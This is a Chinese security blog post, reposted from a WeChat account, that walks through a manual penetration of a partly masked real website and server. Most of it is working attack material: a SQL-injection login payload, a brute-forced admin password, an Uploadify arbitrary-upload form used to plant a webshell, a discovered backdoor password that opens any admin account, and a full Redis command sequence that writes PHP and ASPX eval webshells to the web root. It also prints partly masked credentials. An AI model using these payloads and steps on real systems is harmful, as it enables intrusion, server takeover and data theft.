手工漏洞挖掘渗透某服务器

admin 2023年1月9日22:24:50评论16 views字数 6865阅读22分53秒阅读模式

   对于给定授权网站的渗透,可以通过漏洞扫描工具进行扫描,也可以通过手工挖掘,特别是获取sql注入漏洞,通过注入漏洞配合其它漏洞来逐步获取webshell,甚至服务器权限,在本文中涉及详细信息收集、sql注入、后台密码加密分析、redis漏洞利用等,算是一篇经典的手工漏洞挖掘渗透案例,具有学习价值。

手工漏洞挖掘渗透某服务器

1.1信息收集

1.域名信息收集

1nslookup查询

通过nslookupqd.******.*****.cn进行查询,如图1所示,获取的信息是cdn,无法获取真实IP地址信息,后面通过https://www.yougetsignal.com/tools/web-sites-on-web-server/进行域名查询,每次查询的域名对应IP地址结果都在变化,说明用了cdn加速技术。

手工漏洞挖掘渗透某服务器

1dns查询

2toolbar.netcraft.com

还以用toolbar.netcraft.com进行检测:https://toolbar.netcraft.com/site_report?url=qd.******.*****.cn#last_reboot,其结果如图2所示,IP地址为122.72.**.1**

手工漏洞挖掘渗透某服务器

2toolbar查询ip地址

2.获取真实IP地址

目标站点**.******.*****.cn使用账号和密码(1773**5216 /zyl**29122)进行登录,通过burpsuite进行抓包,发现有一个获取websocket urlajax请求:

ws://***.**.**.**:1234?uid=304519&subscribe=1&ticks=636570586031103379&stock=&key=89853473962f954c0c9aa96e13f55f22

3.使用masscan进行端口扫描

1masscan安装

git clone https://github.com/robertdavidgraham/masscan.git

cd masscan

make

make install

2)使用masscan扫描目标所有端口地址

 masscan -p 1-65535 ***.**.**.** 扫描后可以看到其端口开放情况,如图3所示。

手工漏洞挖掘渗透某服务器

3端口开放情况

通过实际访问,123412357780对外提供web服务,61315为远程终端,335726379经过telnet或者nc 发送keys *,能确定其中有两个redis端口,其中3357端口是redis并且存在认证,通过auth "123456" 简单尝试弱口令失败。

4.获取物理路径信息

输入地址**.********.com/Integral/My/ProductDetail.aspx?id=1在出错信息中获取其真实目录地址为d:wwwfontPluginsIntegralMall.PluginsIntegralMyProductDetail.aspx,如图4所示。

手工漏洞挖掘渗透某服务器

4获取真实地址信息

1.2sql注入

1.主站登录框注入

通过burpsuite对登录过程进行抓包,发现其存在sql注入,构造playload进行测试:

POST /account/Login HTTP/1.1

Host: www.******.*****.cn

Content-Length: 97

Accept: application/json, text/javascript, */*; q=0.01

Origin: http://www.******.*****.cn

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: http://www.******.*****.cn/account/login?returnurl=%2Fproduct%2Findex%2F908

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: ASP.NET_SessionId=ugovwxs3i0bk5yhxjqczcmjq; VerCode=f64aed3c5de2da53ee92698677ceb7abe1f9ab3258abf9472c078259245f48e1

Connection: close

userName=1',1,1,1);select convert(INT,user)--+&password=123123&validateCode=th5b&rememberMe=false

通过该方法可以对当前的站点进行数据库表及内容查询。

2.获取后台密码

通过大字典对后台进行密码暴力破解,获取******.*****.netadmin账号对应密码abc1234

1.3 Uploadify任意文件上传漏洞

1. 发现后台使用Uploadify

通过后台发现站点使用了UploadifyUploadify组件会存在任意文件上传漏洞,构造可上传的html文件,其中actionUploadHandler实际地址,有的是UploadHandler.phpUploadHandler.ashx等,本地访问该html文件,直接上传shell,如图5所示,上传成功后会显示文件名称等信息。

<body>

<form action="http://******.*****.net/Uploadify/UploadHandler.ashx"; method="post" enctype="multipart/form-data">

<input type="file" name="Filedata">

<input type="hidden" name="folder" value="/uploadify/">

<input type="submit" value="OK">

</form>

</body>

手工漏洞挖掘渗透某服务器

5任意文件上传漏洞

2.获取webshell

在前面保存的html文件中可以任意上传文件,但是需要注意其路径地址

http://******.*****.net/uploadify/20180418/7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.aspUploadFile更换为uploadify

{"FileName":"7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp","FileUrl":"UploadFile/20180418/7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp","FileAllUrl":"http://******.*****.net/UploadFile/20180418/7f9e86dd-2454-4a8a-b650-8c167e0eb2a2.asp"}

这个地址访问必须是0,也就是除false外的值才能成功上传,如图6成功获取webshell

手工漏洞挖掘渗透某服务器

6获取webshell

1.4后台密码加密分析

1.打包并下载网站源代码

通过webshell对该站点进行打包压缩命令:rar a –k –r –r –m1 e:wwwall.rar e:wwwwebsite,然后将其压缩包下载到本地。

2.密码加密函数分析

通过Reflectorasp.netdll文件进行反编译,获取其源代码,从源代码中查找登录加密的函数:

public static string MD5Encrypt(string str)

{

string text = str + "202cb962ac59075b964b07152d234b70";

string password = text.Substring(0, 32);

string password2 = text.Substring(32);

return (FormsAuthentication.HashPasswordForStoringInConfigFile(password, "MD5") + FormsAuthentication.HashPasswordForStoringInConfigFile(password2, "MD5")).ToLower();

}

md5123=202cb962ac59075b964b07152d234b70

密码采用password+123md5加密,密码值为md5(password)+md5(123)得到的实际位数为64位。真实密码为1-32位字符串,将其进行md5解密即可。

3. btnLogin_Click登录检查中存在逻辑后门

protected void btnLogin_Click(object sender, EventArgs e)

{

string text = this.txtUserName.Text.Trim();

string str = this.txtPassword.Text.Trim();

string str2 = this.txtCode.Text.Trim().ToLower();

if (string.Compare(StringHelper.MD5Encrypt(str2), ValidationImage.GetAdminVerifyCode(), StringComparison.OrdinalIgnoreCase) != 0)

{

MessageBox.Show(this, "验证码输入有误,请重新输入!");

return;

}

AdministratorInfo model = Administrator.GetModel(text);

if (model == null)

{

MessageBox.Show(this, "用户名或密码输入有误,登录失败!");

return;

}

if (model.get_RolesType() != 1 && model.get_RolesType() != 2)

{

MessageBox.Show(this, "用户名或密码输入有误,登录失败!");

return;

}

if (string.Compare(StringHelper.MD5Encrypt(str).ToLower(), StringHelper.MD5Encrypt("7CAB2C0E99AEFDE6255F804B87155FE7BBA5AE03112223").ToLower(), StringComparison.OrdinalIgnoreCase) != 0 && string.Compare(StringHelper.MD5Encrypt(str), model.get_AdminPassWord(), StringComparison.OrdinalIgnoreCase) != 0)

{

MessageBox.Show(this, "用户名或密码输入有误,登录失败!");

return;

}

if (model.get_IsLock())

{

MessageBox.Show(this, "用户已禁止登录,请联系系统管理员!");

return;

}

AdminPrincipal adminPrincipal = new AdminPrincipal();

adminPrincipal.set_AdministratorID(model.get_AdministratorID());

adminPrincipal.set_AdminName(model.get_AdminName());

adminPrincipal.set_RolesType(model.get_RolesType());

adminPrincipal.set_SyRolesID(model.get_SyRolesID());

adminPrincipal.set_TrueName(model.get_AdminName());

adminPrincipal.set_Roles(model.get_RolesType().ToString());

string userData = adminPrincipal.SerializeToString();

Administrator.UpdateLoginLast(model.get_AdministratorID());

FormsAuthenticationTicket formsAuthenticationTicket = new FormsAuthenticationTicket(1, adminPrincipal.get_AdministratorID().ToString(), DateTime.Now, DateTime.Now.AddMinutes((double)SiteConfig.get_SecurityConfig().get_TicketTime()), false, userData);

ManageCookies.CreateAdminCookie(formsAuthenticationTicket, false, DateTime.Now);

BasePage.ResponseRedirect("Admin_Index.aspx");

}

该函数中存在逻辑后门,使用任何账号均可以进行登录

用户名:随意 密码为:7CAB2C0E99AEFDE6255F804B87155FE7BBA5AE03112223

1.5redis漏洞利用获取webshell

1. redis账号获取webshell

知道网站的真实路径,具体步骤:

1)连接客户端和端口

telnet ***.**.**.** 3357

2)认证

auth ^123456$

3)查看当前的配置信息,并复制下来留待后续恢复

config get dir

config get dbfilename

4)配置并写入webshell

config set dir E:/www/font

config set dbfilename redis.aspx

set webshell "<?php phpinfo(); ?>"

//php查看信息

set webshell "<?php @eval($_POST['chopper']);?> "

//phpwebshell

set webshell"<%eval(Request.Item['cmd'],"unsafe");%>"

// aspxwebshell,注意双引号使用"

save

保存

get a

查看文件内容

5)访问webshell地址

出现类似:

REDIS0006?webshell'a@H???

表明正确获取webshell

6)恢复原始设置

config get dir

config get dbfilename

flushdb

2.获取shell的完整命令

telnet ***.**.**.** 3357

auth ^123456$

config get dir

config get dbfilename

config set dir E:/www/font

config set dbfilename redis2.aspx

set webshell "<?php phpinfo(); ?>"

set webshell "<?php @eval($_POST['chopper']);?> "

set a "<%@ Page Language="Jscript"%><%eval(Request.Item["c"],"unsafe");%>"

save

get a

config set dir

config set dbfilename

flushdb

通过以上方法成功获取目标站点的webshell,至此渗透结束。

1.6渗透总结

本次渗透用到了多个技术:

1.burpsuite抓包,对包文件,使用sqlmap进行注入sqlmap –r r.txt

2.后台账号的暴力破解,通过burpsuite对账号进行暴力破解。

3. uploadify任意文件上传漏洞

4.后台加密文件密码算法及密码破解分析

5.redis漏洞获取webshell方法

6.masscannmap全端口扫描

1massscan –p 1-65535 ***.**.**.**

2nmap.exe -p 1-65535 -T4 -A -v -oX ***.**.**.xml ***.**.**.1-254

创作不易,用您发财的小手关注、喜欢+收藏一下我,您的关注和点赞就是对我继续创作的最大动力,谢谢!

另外推出《实战中的20个取证技术》视频课程,售价298元,基本涵盖目前的打击取证需要,可以联系微信lovesec2022购买。

原文始发于微信公众号(小兵搞安全):手工漏洞挖掘渗透某服务器

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月9日22:24:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   手工漏洞挖掘渗透某服务器https://cn-sec.com/archives/1506857.html

发表评论

匿名网友 填写信息